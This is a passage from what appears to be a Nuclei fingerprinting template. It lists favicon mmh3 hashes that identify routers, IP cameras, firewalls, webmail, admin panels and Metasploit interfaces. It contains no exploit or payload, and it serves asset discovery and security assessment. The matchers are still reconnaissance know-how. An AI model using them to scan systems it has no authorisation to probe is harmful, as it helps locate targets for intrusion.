(\"1462981117\" == mmh3(base64_py(body)))" - - type: dsl name: "asp.net-favicon" dsl: - "status_code==200 && (\"1772087922\" == mmh3(base64_py(body)))" - - type: dsl name: "technicolor" dsl: - "status_code==200 && (\"1594377337\" == mmh3(base64_py(body)))" - - type: dsl name: "vodafone-technicolor" dsl: - "status_code==200 && (\"165976831\" == mmh3(base64_py(body)))" - - type: dsl name: "ubnt-router-ui" dsl: - "status_code==200 && (\"-1677255344\" == mmh3(base64_py(body)))" - - type: dsl name: "intelbras-wireless" dsl: - "status_code==200 && (\"-359621743\" == mmh3(base64_py(body)))" - - type: dsl name: "kerio-connect-webmail" dsl: - "status_code==200 && (\"-677167908\" == mmh3(base64_py(body)))" - - type: dsl name: "big-ip" dsl: - "status_code==200 && (\"878647854\" == mmh3(base64_py(body)))" - - type: dsl name: "microsoft-owa" dsl: - "status_code==200 && (\"442749392\" == mmh3(base64_py(body)))" - - type: dsl name: "pfsense" dsl: - "status_code==200 && (\"1405460984\" == mmh3(base64_py(body)))" - - type: dsl name: "ikuai-networks" dsl: - "status_code==200 && (\"-271448102\" == mmh3(base64_py(body)))" - - type: dsl name: "dlink-webcam" dsl: - "status_code==200 && (\"31972968\" == mmh3(base64_py(body)))" - - type: dsl name: "3cx-phone-system" dsl: - "status_code==200 && (\"970132176\" == mmh3(base64_py(body)))" - - type: dsl name: "bluehost" dsl: - "status_code==200 && (\"-1119613926\" == mmh3(base64_py(body)))" - - type: dsl name: "sangfor" dsl: - "status_code==200 && (\"123821839\" == mmh3(base64_py(body)))" - - type: dsl name: "zte-corporation-gateway/appliance" dsl: - "status_code==200 && (\"459900502\" == mmh3(base64_py(body)))" - - type: dsl name: "ruckus-wireless" dsl: - "status_code==200 && (\"-2069844696\" == mmh3(base64_py(body)))" - - type: dsl name: "bitnami" dsl: - "status_code==200 && (\"-1607644090\" == mmh3(base64_py(body)))" - - type: dsl name: "juniper-device-manager" dsl: - "status_code==200 && (\"2141724739\" == mmh3(base64_py(body)))" - - type: dsl name: "technicolor-gateway" dsl: - "status_code==200 && (\"1835479497\" == mmh3(base64_py(body)))" - - type: dsl name: "gitlab" dsl: - "status_code==200 && (\"1278323681\" == mmh3(base64_py(body)))" - - type: dsl name: "netasq---secure-/-stormshield" dsl: - "status_code==200 && (\"-1929912510\" == mmh3(base64_py(body)))" - - type: dsl name: "vmware-horizon" dsl: - "status_code==200 && (\"-1255992602\" == mmh3(base64_py(body)))" - - type: dsl name: "vmware-horizon" dsl: - "status_code==200 && (\"1895360511\" == mmh3(base64_py(body)))" - - type: dsl name: "vmware-horizon" dsl: - "status_code==200 && (\"-991123252\" == mmh3(base64_py(body)))" - - type: dsl name: "vmware-secure-file-transfer" dsl: - "status_code==200 && (\"1642701741\" == mmh3(base64_py(body)))" - - type: dsl name: "sap-netweaver" dsl: - "status_code==200 && (\"-266008933\" == mmh3(base64_py(body)))" - - type: dsl name: "sap-id-service" dsl: - "status_code==200 && (\"-1967743928\" == mmh3(base64_py(body)))" - - type: dsl name: "sap-conversational-ai" dsl: - "status_code==200 && (\"1347937389\" == mmh3(base64_py(body)))" - - type: dsl name: "palo-alto-login-portal" dsl: - "status_code==200 && (\"602431586\" == mmh3(base64_py(body)))" - - type: dsl name: "palo-alto-networks" dsl: - "status_code==200 && (\"-318947884\" == mmh3(base64_py(body)))" - - type: dsl name: "outlook-web-application" dsl: - "status_code==200 && (\"1356662359\" == mmh3(base64_py(body)))" - - type: dsl name: "webmin" dsl: - "status_code==200 && (\"1453890729\" == mmh3(base64_py(body)))" - - type: dsl name: "docker" dsl: - "status_code==200 && (\"-1814887000\" == mmh3(base64_py(body)))" - - type: dsl name: "docker" dsl: - "status_code==200 && (\"1937209448\" == mmh3(base64_py(body)))" - - type: dsl name: "amazon" dsl: - "status_code==200 && (\"-1544605732\" == mmh3(base64_py(body)))" - - type: dsl name: "amazon" dsl: - "status_code==200 && (\"716989053\" == mmh3(base64_py(body)))" - - type: dsl name: "phpmyadmin" dsl: - "status_code==200 && (\"-1010568750\" == mmh3(base64_py(body)))" - - type: dsl name: "zhejiang-uniview-technologies-co." dsl: - "status_code==200 && (\"-1240222446\" == mmh3(base64_py(body)))" - - type: dsl name: "isp-manager" dsl: - "status_code==200 && (\"-986678507\" == mmh3(base64_py(body)))" - - type: dsl name: "axis-network-cameras" dsl: - "status_code==200 && (\"-1616143106\" == mmh3(base64_py(body)))" - - type: dsl name: "roundcube-webmail" dsl: - "status_code==200 && (\"-976235259\" == mmh3(base64_py(body)))" - - type: dsl name: "unifi-video-controller-airvision" dsl: - "status_code==200 && (\"768816037\" == mmh3(base64_py(body)))" - - type: dsl name: "pfsense" dsl: - "status_code==200 && (\"1015545776\" == mmh3(base64_py(body)))" - - type: dsl name: "freebox-os" dsl: - "status_code==200 && (\"1838417872\" == mmh3(base64_py(body)))" - - type: dsl name: "hxxps" dsl: - "status_code==200 && (\"1188645141\" == mmh3(base64_py(body)))" - - type: dsl name: "keenetic" dsl: - "status_code==200 && (\"547282364\" == mmh3(base64_py(body)))" - - type: dsl name: "sierra-wireless-ace-manager-airlink" dsl: - "status_code==200 && (\"-1571472432\" == mmh3(base64_py(body)))" - - type: dsl name: "synology-diskstation" dsl: - "status_code==200 && (\"149371702\" == mmh3(base64_py(body)))" - - type: dsl name: "instar-ip-cameras" dsl: - "status_code==200 && (\"-1169314298\" == mmh3(base64_py(body)))" - - type: dsl name: "webmin" dsl: - "status_code==200 && (\"-1038557304\" == mmh3(base64_py(body)))" - - type: dsl name: "octoprint-3d-printer" dsl: - "status_code==200 && (\"1307375944\" == mmh3(base64_py(body)))" - - type: dsl name: "webmin" dsl: - "status_code==200 && (\"1280907310\" == mmh3(base64_py(body)))" - - type: dsl name: "vesta-hosting-control-panel" dsl: - "status_code==200 && (\"1954835352\" == mmh3(base64_py(body)))" - - type: dsl name: "farming-simulator-dedicated-server" dsl: - "status_code==200 && (\"509789953\" == mmh3(base64_py(body)))" - - type: dsl name: "residential-gateway" dsl: - "status_code==200 && (\"-1933493443\" == mmh3(base64_py(body)))" - - type: dsl name: "cpanel-login" dsl: - "status_code==200 && (\"1993518473\" == mmh3(base64_py(body)))" - - type: dsl name: "arris" dsl: - "status_code==200 && (\"-1477563858\" == mmh3(base64_py(body)))" - - type: dsl name: "plex-server" dsl: - "status_code==200 && (\"-895890586\" == mmh3(base64_py(body)))" - - type: dsl name: "dlink-webcam" dsl: - "status_code==200 && (\"-1354933624\" == mmh3(base64_py(body)))" - - type: dsl name: "deluge" dsl: - "status_code==200 && (\"944969688\" == mmh3(base64_py(body)))" - - type: dsl name: "webmin" dsl: - "status_code==200 && (\"479413330\" == mmh3(base64_py(body)))" - - type: dsl name: "cambium-networks" dsl: - "status_code==200 && (\"-435817905\" == mmh3(base64_py(body)))" - - type: dsl name: "plesk" dsl: - "status_code==200 && (\"-981606721\" == mmh3(base64_py(body)))" - - type: dsl name: "dahua-storm-ip-camera" dsl: - "status_code==200 && (\"833190513\" == mmh3(base64_py(body)))" - - type: dsl name: "10" dsl: - "status_code==200 && (\"-1314864135\" == mmh3(base64_py(body)))" - - type: dsl name: "parallels-plesk-panel" dsl: - "status_code==200 && (\"-652508439\" == mmh3(base64_py(body)))" - - type: dsl name: "fireware-watchguard" dsl: - "status_code==200 && (\"-569941107\" == mmh3(base64_py(body)))" - - type: dsl name: "shock&innovation!!-netis-setup" dsl: - "status_code==200 && (\"1326164945\" == mmh3(base64_py(body)))" - - type: dsl name: "cacaoweb" dsl: - "status_code==200 && (\"-1738184811\" == mmh3(base64_py(body)))" - - type: dsl name: "loxone-automation" dsl: - "status_code==200 && (\"904434662\" == mmh3(base64_py(body)))" - - type: dsl name: "hp-printer/server" dsl: - "status_code==200 && (\"905744673\" == mmh3(base64_py(body)))" - - type: dsl name: "netflix" dsl: - "status_code==200 && (\"902521196\" == mmh3(base64_py(body)))" - - type: dsl name: "linksys-smart-wi-fi" dsl: - "status_code==200 && (\"-2063036701\" == mmh3(base64_py(body)))" - - type: dsl name: "lwip-a-lightweight-tcp/ip-stack" dsl: - "status_code==200 && (\"-1205024243\" == mmh3(base64_py(body)))" - - type: dsl name: "hitron-technologies" dsl: - "status_code==200 && (\"607846949\" == mmh3(base64_py(body)))" - - type: dsl name: "dahua-storm-dvr" dsl: - "status_code==200 && (\"1281253102\" == mmh3(base64_py(body)))" - - type: dsl name: "mobotix-camera" dsl: - "status_code==200 && (\"661332347\" == mmh3(base64_py(body)))" - - type: dsl name: "blue-iris-webcam" dsl: - "status_code==200 && (\"-520888198\" == mmh3(base64_py(body)))" - - type: dsl name: "vigor-router" dsl: - "status_code==200 && (\"104189364\" == mmh3(base64_py(body)))" - - type: dsl name: "alibaba-cloud-block-page" dsl: - "status_code==200 && (\"1227052603\" == mmh3(base64_py(body)))" - - type: dsl name: "dd-wrt-dd-wrt-milli_httpd" dsl: - "status_code==200 && (\"252728887\" == mmh3(base64_py(body)))" - - type: dsl name: "mitel-networks-micollab-end-user-portal" dsl: - "status_code==200 && (\"-1922044295\" == mmh3(base64_py(body)))" - - type: dsl name: "dlink-webcam" dsl: - "status_code==200 && (\"1221759509\" == mmh3(base64_py(body)))" - - type: dsl name: "dlink-router" dsl: - "status_code==200 && (\"1037387972\" == mmh3(base64_py(body)))" - - type: dsl name: "prtg-network-monitor" dsl: - "status_code==200 && (\"-655683626\" == mmh3(base64_py(body)))" - - type: dsl name: "elastic-database" dsl: - "status_code==200 && (\"1611729805\" == mmh3(base64_py(body)))" - - type: dsl name: "dlink-webcam" dsl: - "status_code==200 && (\"1144925962\" == mmh3(base64_py(body)))" - - type: dsl name: "wildfly" dsl: - "status_code==200 && (\"-1666561833\" == mmh3(base64_py(body)))" - - type: dsl name: "cisco-meraki-dashboard" dsl: - "status_code==200 && (\"804949239\" == mmh3(base64_py(body)))" - - type: dsl name: "workday" dsl: - "status_code==200 && (\"-459291760\" == mmh3(base64_py(body)))" - - type: dsl name: "justhost" dsl: - "status_code==200 && (\"1734609466\" == mmh3(base64_py(body)))" - - type: dsl name: "baidu-ip-error-page" dsl: - "status_code==200 && (\"-1507567067\" == mmh3(base64_py(body)))" - - type: dsl name: "intelbras-sa" dsl: - "status_code==200 && (\"2006716043\" == mmh3(base64_py(body)))" - - type: dsl name: "yii-php-framework-default-favicon" dsl: - "status_code==200 && (\"-1298108480\" == mmh3(base64_py(body)))" - - type: dsl name: "truvision-nvr-interlogix" dsl: - "status_code==200 && (\"1782271534\" == mmh3(base64_py(body)))" - - type: dsl name: "redmine" dsl: - "status_code==200 && (\"603314\" == mmh3(base64_py(body)))" - - type: dsl name: "phpmyadmin" dsl: - "status_code==200 && (\"-476231906\" == mmh3(base64_py(body)))" - - type: dsl name: "cisco-eg" dsl: - "status_code==200 && (\"-646322113\" == mmh3(base64_py(body)))" - - type: dsl name: "jetty-404" dsl: - "status_code==200 && (\"-629047854\" == mmh3(base64_py(body)))" - - type: dsl name: "luma-surveillance" dsl: - "status_code==200 && (\"-1351901211\" == mmh3(base64_py(body)))" - - type: dsl name: "parallels-plesk-panel" dsl: - "status_code==200 && (\"-519765377\" == mmh3(base64_py(body)))" - - type: dsl name: "hp-printer-/-server" dsl: - "status_code==200 && (\"-2144363468\" == mmh3(base64_py(body)))" - - type: dsl name: "metasploit" dsl: - "status_code==200 && (\"-127886975\" == mmh3(base64_py(body)))" - - type: dsl name: "metasploit" dsl: - "status_code==200 && (\"1139788073\" == mmh3(base64_py(body)))" - - type: dsl name: "metasploit" dsl: - "status_code==200 && (\"-1235192469\" == mmh3(base64_py(body)))" - - type: dsl name: "alibi-nvr" dsl: - "status_code==200 && (\"1876585825\" == mmh3(base64_py(body)))" - - type: dsl name: "sangfor" dsl: - "status_code==200 && (\"-1810847295\" == mmh3(base64_py(body)))" - - type: dsl name: "websockets-test-page-eg" dsl: - "status_code==200 && (\"-291579889\" == mmh3(base64_py(body)))" - - type: dsl name: "macos-server-apple" dsl: - "status_code==200 && (\"1629518721\" == mmh3(base64_py(body)))" - - type: dsl name: "openrg" dsl: - "status_code==200 && (\"-986816620\" == mmh3(base64_py(body)))" - - type: dsl name: "cisco-router" dsl: - "status_code==200 && (\"-299287097\" == mmh3(base64_py(body)))" - - type: dsl name: "sangfor" dsl: - "status_code==200 && (\"-1926484046\" == mmh3(base64_py(body)))" - - type: dsl name: "herospeed-digital-technology-co.-nvr/ipc/xvr" dsl: - "status_code==200 && (\"-873627015\" == mmh3(base64_py(body)))" - - type: dsl name: "nomadix-access-gateway" dsl: - "status_code==200 && (\"2071993228\" == mmh3(base64_py(body)))" - - type: dsl name: "gitlab" dsl: - "status_code==200 && (\"516963061\" == mmh3(base64_py(body)))" - - type: dsl name: "magento" dsl: - "status_code==200 && (\"-38580010\" == mmh3(base64_py(body)))" - - type: dsl name: "mk-auth" dsl: - "status_code==200 && (\"1490343308\" == mmh3(base64_py(body)))" - - type: dsl name: "shoutcast-server" dsl: - "status_code==200 && (\"-632583950\" == mmh3(base64_py(body)))" - - type: dsl name: "fireeye" dsl: - "status_code==200 && (\"95271369\" == mmh3(base64_py(body)))" - - type: dsl name: "fireeye" dsl: - "status_code==200 && (\"1476335317\" == mmh3(base64_py(body)))" - - type: dsl name: "fireeye" dsl: - "status_code==200 && (\"-842192932\" == mmh3(base64_py(body)))" - - type: dsl name: "fireeye" dsl: - "status_code==200 && (\"105083909\" == mmh3(base64_py(body)))" - - type: dsl name: "fireeye" dsl: - "status_code==200 && (\"240606739\" == mmh3(base64_py(body)))" - - type: dsl name: "fireeye" dsl: - "status_code==200 && (\"2121539357\" == mmh3(base64_py(body)))" - - type: dsl name: "adobe-campaign-classic" dsl: - "status_code==200 && (\"-333791179\" == mmh3(base64_py(body)))" - - type: dsl name: "xampp" dsl: - "status_code==200 && (\"-1437701105\" == mmh3(base64_py(body)))" - - type: dsl name: "niagara-web-server" dsl: - "status_code==200 && (\"-676077969\" == mmh3(base64_py(body)))" - - type: dsl name: "technicolor" dsl: - "status_code==200 && (\"-2138771289\" == mmh3(base64_py(body)))" - - type: dsl name: "hitron-technologies-inc." dsl: - "status_code==200 && (\"711742418\" == mmh3(base64_py(body)))" - - type: dsl name: "ibm-notes" dsl: - "status_code==200 && (\"728788645\" == mmh3(base64_py(body)))" - - type: dsl name: "barracuda" dsl: - "status_code==200 && (\"1436966696\" == mmh3(base64_py(body)))" - - type: dsl name: "servicenow" dsl: - "status_code==200 && (\"86919334\" == mmh3(base64_py(body)))" - - type: dsl name: "openfire-admin-console" dsl: - "status_code==200 && (\"1211608009\" == mmh3(base64_py(body)))" - - type: dsl name: "hp-ilo" dsl: - "status_code==200 && (\"2059618623\" == mmh3(base64_py(body)))" - - type: dsl name: "sunny-webbox" dsl: - "status_code==200 && (\"1975413433\" == mmh3(base64_py(body)))" - - type: dsl name: "zyxel" dsl: - "status_code==200 && (\"943925975\" == mmh3(base64_py(body)))" - - type: dsl name: "huawei" dsl: - "status_code==200 && (\"281559989\" == mmh3(base64_py(body)))" - - type: dsl name: "tenda-web-master" dsl: - "status_code==200 && (\"-2145085239\" == mmh3(base64_py(body)))" - - type: dsl name: "prometheus-time-series-collection-and-processing-server" dsl: - "status_code==200 && (\"-1399433489\" == mmh3(base64_py(body)))" - - type: dsl name: "wdcp-cloud-host-management-system" dsl: - "status_code==200 && (\"1786752597\" == mmh3(base64_py(body)))" - - type: dsl name: "domoticz-home-automation" dsl: - "status_code==200 && (\"90680708\" == mmh3(base64_py(body)))" - - type: dsl name: "tableau" dsl: - "status_code==200 && (\"-1441956789\" == mmh3(base64_py(body)))" - - type: dsl name: "openwrt-luci" dsl: - "status_code==200 && (\"-675839242\" == mmh3(base64_py(body)))" - - type: dsl name: "ubiquiti-airos" dsl: - "status_code==200 && (\"1020814938\" == mmh3(base64_py(body)))" - - type: dsl name: "mdaemon-webmail" dsl: - "status_code==200 && (\"-766957661\" == mmh3(base64_py(body)))" - - type: dsl name: "teltonika" dsl: - "status_code==200 && (\"119741608\" == mmh3(base64_py(body)))" - - type: dsl name: "entrolink" dsl: - "status_code==200 && (\"1973665246\" == mmh3(base64_py(body)))" - - type: dsl name: "windriver-webserver" dsl: - "status_code==200 && (\"74935566\" == mmh3(base64_py(body)))" - - type: dsl name: "microhard-systems" dsl: - "status_code==200 && (\"-1723752240\" == mmh3(base64_py(body)))" - - type: dsl name: "skype" dsl: - "status_code==200 && (\"-1807411396\" == mmh3(base64_py(body)))" - - type: dsl name: "teltonika" dsl: - "status_code==200 && (\"-1612496354\" == mmh3(base64_py(body)))" - - type: dsl name: "eltex-router" dsl: - "status_code==200 && (\"1877797890\" == mmh3(base64_py(body)))" - - type: dsl name: "bintec-elmeg" dsl: - "status_code==200 && (\"-375623619\" == mmh3(base64_py(body)))" - - type: dsl name: "syncthru-web-service-printers" dsl: - "status_code==200 && (\"1483097076\" == mmh3(base64_py(body)))" - - type: dsl name: "boaserver" dsl: - "status_code==200 && (\"1169183049\" == mmh3(base64_py(body)))" - - type: dsl name: "securepoint" dsl: - "status_code==200 && (\"1051648103\" == mmh3(base64_py(body)))" - - type: dsl name: "moodle" dsl: - "status_code==200 && (\"-438482901\" == mmh3(base64_py(body)))" - - type: dsl name: "radix" dsl: - "status_code==200 && (\"-1492966240\" == mmh3(base64_py(body)))" - - type: dsl name: "cradlepoint-technology-router" dsl: - "status_code==200 && (\"1466912879\" == mmh3(base64_py(body)))" - - type: dsl name: "drupal" dsl: - "status_code==200 && (\"-167656799\" == mmh3(base64_py(body)))" - - type: dsl name: "blackboard" dsl: - "status_code==200 && (\"-1593651747\" == mmh3(base64_py(body)))" - - type: dsl name: "jupyter-notebook" dsl: - "status_code==200 && (\"-895963602\" == mmh3(base64_py(body)))" - - type: dsl name: "hostmonster---web-hosting" dsl: - "status_code==200 && (\"-972810761\" == mmh3(base64_py(body)))" - - type: dsl name: "d-link-router/network" dsl: - "status_code==200 && (\"1703788174\" == mmh3(base64_py(body)))" - - type: dsl name: "rocket-chat" dsl: - "status_code==200 && (\"225632504\" == mmh3(base64_py(body)))" - - type: dsl name: "mofinetwork" dsl: - "status_code==200 && (\"-1702393021\" == mmh3(base64_py(body)))" - - type: dsl name: "zabbix" dsl: - "status_code==200 && (\"892542951\" == mmh3(base64_py(body)))" - - type: dsl name: "totolink-network" dsl: - "status_code==200 && (\"547474373\" == mmh3(base64_py(body)))" - - type: dsl name: "ossia-provision-sr-|-webcam/ip-camera" dsl: - "status_code==200 && (\"-374235895\" == mmh3(base64_py(body)))" - - type: dsl name: "cpanel-login" dsl: - "status_code==200 && (\"1544230796\" == mmh3(base64_py(body)))" - - type: dsl name: "d-link-router/network" dsl: - "status_code==200 && (\"517158172\" == mmh3(base64_py(body)))" - - type: dsl name: "jeedom-home-automation" dsl: - "status_code==200 && (\"462223993\" == mmh3(base64_py(body)))" - - type: dsl name: "jboss-application-server-7" dsl: - "status_code==200 && (\"937999361\" == mmh3(base64_py(body)))" - - type: dsl name: "niagara-web-server-/-tridium" dsl: - "status_code==200 && (\"1991562061\" == mmh3(base64_py(body)))" - - type: dsl name: "solarwinds-serv-u-ftp-server" dsl: - "status_code==200 && (\"812385209\" == mmh3(base64_py(body)))" - - type: dsl name: "aruba-virtual-controller" dsl: - "status_code==200 && (\"1142227528\" == mmh3(base64_py(body)))" - - type: dsl name: "dell" dsl: - "status_code==200 && (\"-1153950306\" == mmh3(base64_py(body)))" - - type: dsl name: "remobjects-sdk-/-remoting-sdk-for-.net-http-server-microsoft" dsl: - "status_code==200 && (\"72005642\" == mmh3(base64_py(body)))" - - type: dsl name: "zyxel-zywall" dsl: - "status_code==200 && (\"-484708885\" == mmh3(base64_py(body)))" - - type: dsl name: "visualsvn-server" dsl: - "status_code==200 && (\"706602230\" == mmh3(base64_py(body)))" - - type: dsl name: "jboss" dsl: - "status_code==200 && (\"-656811182\" == mmh3(base64_py(body)))" - - type: dsl name: "starface-voip-software" dsl: - "status_code==200 && (\"-332324409\" == mmh3(base64_py(body)))" - - type: dsl name: "netis-network-devices" dsl: - "status_code==200 && (\"-594256627\" == mmh3(base64_py(body)))" - - type: dsl name: "whm" dsl: - "status_code==200 && (\"-649378830\" == mmh3(base64_py(body)))" - - type: dsl name: "tandberg" dsl: - "status_code==200 && (\"97604680\" == mmh3(base64_py(body)))" - - type: dsl name: "ghost-cms" dsl: - "status_code==200 && (\"-1015932800\" == mmh3(base64_py(body)))" - - type: dsl name: "avtech-ip-surveillance-camera" dsl: - "status_code==200 && (\"-194439630\" == mmh3(base64_py(body)))" - - type: dsl name: "liferay-portal" dsl: - "status_code==200 && (\"129457226\" == mmh3(base64_py(body)))" - - type: dsl name: "parallels-plesk-panel" dsl: - "status_code==200 && (\"-771764544\" == mmh3(base64_py(body)))" - - type: dsl name: "odoo" dsl: - "status_code==200 && (\"-617743584\" == mmh3(base64_py(body)))" - - type: dsl name: "polycom" dsl: - "status_code==200 && (\"77044418\" == mmh3(base64_py(body)))" - - type: dsl name: "cake-php" dsl: - "status_code==200 && (\"980692677\" == mmh3(base64_py(body)))" - - type: dsl name: "exacq" dsl: - "status_code==200 && (\"476213314\" == mmh3(base64_py(body)))" - - type: dsl name: "checkpoint" dsl: - "status_code==200 && (\"794809961\" == mmh3(base64_py(body)))" - - type: dsl name: "ubiquiti-unms" dsl: - "status_code==200 && (\"1157789622\" == mmh3(base64_py(body)))" - - type: dsl name: "cpanel-login" dsl: - "status_code==200 && (\"1244636413\" == mmh3(base64_py(body)))" - - type: dsl name: "worldclient-for-mdaemon" dsl: - "status_code==200 && (\"1985721423\" == mmh3(base64_py(body)))" - - type: dsl name: "netport-software-dsl" dsl: - "status_code==200 && (\"-1124868062\" == mmh3(base64_py(body)))" - - type: dsl name: "f5-big-ip" dsl: - "status_code==200 && (\"-335242539\" == mmh3(base64_py(body)))" - - type: dsl name: "mailcow" dsl: - "status_code==200 && (\"2146763496\" == mmh3(base64_py(body)))" - - type: dsl name: "qnap-nas-virtualization-station" dsl: - "status_code==200 && (\"-1041180225\" == mmh3(base64_py(body)))" - - type: dsl name: "netgear" dsl: - "status_code==200 && (\"-1319025408\" == mmh3(base64_py(body)))" - - type: dsl name: "gogs" dsl: - "status_code==200 && (\"917966895\" == mmh3(base64_py(body)))" - - type: dsl name: "trendnet-ip-camera" dsl: - "status_code==200 && (\"512590457\" == mmh3(base64_py(body)))" - - type: dsl name: "asustor" dsl: - "status_code==200 && (\"1678170702\" == mmh3(base64_py(body)))" - - type: dsl name: "dahua" dsl: - "status_code==200 && (\"-1466785234\" == mmh3(base64_py(body)))" - - type: dsl name: "discuz!" dsl: - "status_code==200 && (\"-505448917\" == mmh3(base64_py(body)))" - - type: dsl name: "wdcp-cloud-host-management-system" dsl: - "status_code==200 && (\"255892555\" == mmh3(base64_py(body)))" - - type: dsl name: "joomla" dsl: - "status_code==200 && (\"1627330242\" == mmh3(base64_py(body)))" - - type: dsl name: "smartermail" dsl: - "status_code==200 && (\"-1935525788\" == mmh3(base64_py(body)))" - - type: dsl name: "seafile" dsl: - "status_code==200 && (\"-12700016\" == mmh3(base64_py(body)))" - - type: dsl name: "bintec-elmeg" dsl: - "status_code==200 && (\"1770799630\" == mmh3(base64_py(body)))" - - type: dsl name: "netgear-readynas" dsl: - "status_code==200 && (\"-137295400\" == mmh3(base64_py(body)))" - - type: dsl name: "ipecs" dsl: - "status_code==200 && (\"-195508437\" == mmh3(base64_py(body)))" - - type: dsl name: "bet365" dsl: - "status_code==200 && (\"-2116540786\" == mmh3(base64_py(body)))" - - type: dsl name: "reolink" dsl: - "status_code==200 && (\"-38705358\" == mmh3(base64_py(body)))" - - type: dsl name: "idera" dsl: - "status_code==200 && (\"-450254253\" == mmh3(base64_py(body)))" - - type: dsl name: "proofpoint" dsl: - "status_code==200 && (\"-1630354993\" == mmh3(base64_py(body)))" - - type: dsl name: "kerio-connect-webmail" dsl: - "status_code==200 && (\"-1678298769\" == mmh3(base64_py(body)))" - - type: dsl name: "worldclient-for-mdaemon" dsl: - "status_code==200 && (\"-35107086\" == mmh3(base64_py(body)))" - - type: dsl name: "realtek" dsl: - "status_code==200 && (\"2055322029\" == mmh3(base64_py(body)))" - - type: dsl name: "ruijie-networks-login" dsl: - "status_code==200 && (\"-692947551\" == mmh3(base64_py(body)))" - - type: dsl name: "askey-cable-modem" dsl: - "status_code==200 && (\"-1710631084\" == mmh3(base64_py(body)))" - - type: dsl name: "askey-cable-modem" dsl: - "status_code==200 && (\"89321398\" == mmh3(base64_py(body)))" - - type: dsl name: "jaws-web-server-ip-camera" dsl: - "status_code==200 && (\"90066852\" == mmh3(base64_py(body)))" - - type: dsl name: "jaws-web-server-ip-camera" dsl: - "status_code==200 && (\"768231242\" == mmh3(base64_py(body)))" - - type: dsl name: "homegrown-website-hosting" dsl: - "status_code==200 && (\"-421986013\" == mmh3(base64_py(body)))" - - type: dsl name: "technicolor-/-thomson-speedtouch-network-/-adsl" dsl: - "status_code==200 && (\"156312019\" == mmh3(base64_py(body)))" - - type: dsl name: "dvr-korean" dsl: - "status_code==200 && (\"-560297467\" == mmh3(base64_py(body)))" - - type: dsl name: "joomla" dsl: - "status_code==200 && (\"-1950415971\" == mmh3(base64_py(body)))" - - type: dsl name: "tp-link-network-device" dsl: - "status_code==200 && (\"1842351293\" == mmh3(base64_py(body)))" - - type: dsl name: "salesforce" dsl: - "status_code==200 && (\"1433417005\" == mmh3(base64_py(body)))" - - type: dsl name: "apache-haus" dsl: - "status_code==200 && (\"-632070065\" == mmh3(base64_py(body)))" - - type: dsl name: "untangle" dsl: - "status_code==200 && (\"1103599349\" == mmh3(base64_py(body)))" - - type: dsl name: "shenzhen-coship-electronics-co." dsl: - "status_code==200 && (\"224536051\" == mmh3(base64_py(body)))" - - type: dsl name: "d-link-router/network" dsl: - "status_code==200 && (\"1038500535\" == mmh3(base64_py(body)))" - - type: dsl name: "d-link-camera" dsl: - "status_code==200 && (\"-355305208\" == mmh3(base64_py(body)))" - - type: dsl name: "kibana" dsl: - "status_code==200 && (\"-267431135\" == mmh3(base64_py(body)))" - - type: dsl name: "kibana" dsl: - "status_code==200 && (\"-759754862\" == mmh3(base64_py(body)))" - - type: dsl name: "kibana" dsl: - "status_code==200 && (\"-1200737715\" == mmh3(base64_py(body)))" - - type: dsl name: "kibana" dsl: - "status_code==200 && (\"75230260\" == mmh3(base64_py(body)))" - - type: dsl name: "kibana" dsl: - "status_code==200 && (\"1668183286\" == mmh3(base64_py(body)))" - - type: dsl name: "intelbras-sa" dsl: - "status_code==200 && (\"283740897\" == mmh3(base64_py(body)))" - - type: dsl name: "icecast-streaming-media-server" dsl: - "status_code==200 && (\"1424295654\" == mmh3(base64_py(body)))" - - type: dsl name: "nec-webpro" dsl: - "status_code==200 && (\"1922032523\" == mmh3(base64_py(body)))" - - type: dsl name: "vivotek-camera" dsl: - "status_code==200 && (\"-1654229048\" == mmh3(base64_py(body)))" - - type: dsl name: "microsoft-iis" dsl: - "status_code==200 && (\"-1414475558\" == mmh3(base64_py(body)))" - - type: dsl name: "univention-portal" dsl: - "status_code==200 && (\"-1697334194\" == mmh3(base64_py(body)))" - - type: dsl name: "portainer-docker-management" dsl: - "status_code==200 && (\"-1424036600\" == mmh3(base64_py(body)))" - - type: dsl name: "nos-router" dsl: - "status_code==200 && (\"-831826827\" == mmh3(base64_py(body)))" - - type: dsl name: "tongda" dsl: - "status_code==200 && (\"-759108386\" == mmh3(base64_py(body)))" - - type: dsl name: "crushftp" dsl: - "status_code==200 && (\"-1022206565\" == mmh3(base64_py(body)))" - - type: dsl name: "endian-firewall" dsl: - "status_code==200 && (\"-1225484776\" == mmh3(base64_py(body)))" - - type: dsl name: "kerio-control-firewall" dsl: - "status_code==200 && (\"-631002664\" == mmh3(base64_py(body)))" - - type: dsl name: "ferozo-panel" dsl: - "status_code==200 && (\"2072198544\" == mmh3(base64_py(body)))" - - type: dsl name: "kerio-control-firewall" dsl: - "status_code==200 && (\"-466504476\" == mmh3(base64_py(body)))" - - type: dsl name: "cafe24-korea" dsl: - "status_code==200 && (\"1251810433\" == mmh3(base64_py(body)))" - - type: dsl name: "mautic-open-source-marketing-automation" dsl: - "status_code==200 && (\"1273982002\" == mmh3(base64_py(body)))" - - type: dsl name: "netiaspot-network" dsl: - "status_code==200 && (\"-978656757\" == mmh3(base64_py(body)))" - - type: dsl name: "multilaser" dsl: - "status_code==200 && (\"916642917\" == mmh3(base64_py(body)))" - - type: dsl name: "canvas-lms-learning-management" dsl: - "status_code==200 && (\"575613323\" == mmh3(base64_py(body)))" - - type: dsl name: "ibm-server" dsl: - "status_code==200 && (\"1726027799\" == mmh3(base64_py(body)))" - - type: dsl name: "adb-broadband-s.p.a.-network" dsl: - "status_code==200 && (\"-587741716\" == mmh3(base64_py(body)))" - - type: dsl name: "arris-network" dsl: - "status_code==200 && (\"-360566773\" == mmh3(base64_py(body)))" - - type: dsl name: "huawei-network" dsl: - "status_code==200 && (\"-884776764\" == mmh3(base64_py(body)))" - - type: dsl name: "wampserver" dsl: - "status_code==200 && (\"929825723\" == mmh3(base64_py(body)))" - - type: dsl name: "seagate-technology-nas" dsl: - "status_code==200 && (\"240136437\" == mmh3(base64_py(body)))" - - type: dsl name: "upc-ceska-republica-network" dsl: - "status_code==200 && (\"1911253822\" == mmh3(base64_py(body)))" - - type: dsl name: "flussonic-video-streaming" dsl: - "status_code==200 && (\"-393788031\" == mmh3(base64_py(body)))" - - type: dsl name: "joomla" dsl: - "status_code==200 && (\"366524387\" == mmh3(base64_py(body)))" - - type: dsl name: "wampserver" dsl: - "status_code==200 && (\"443944613\" == mmh3(base64_py(body)))" - - type: dsl name: "metabase" dsl: - "status_code==200 && (\"1953726032\" == mmh3(base64_py(body)))" - - type: dsl name: 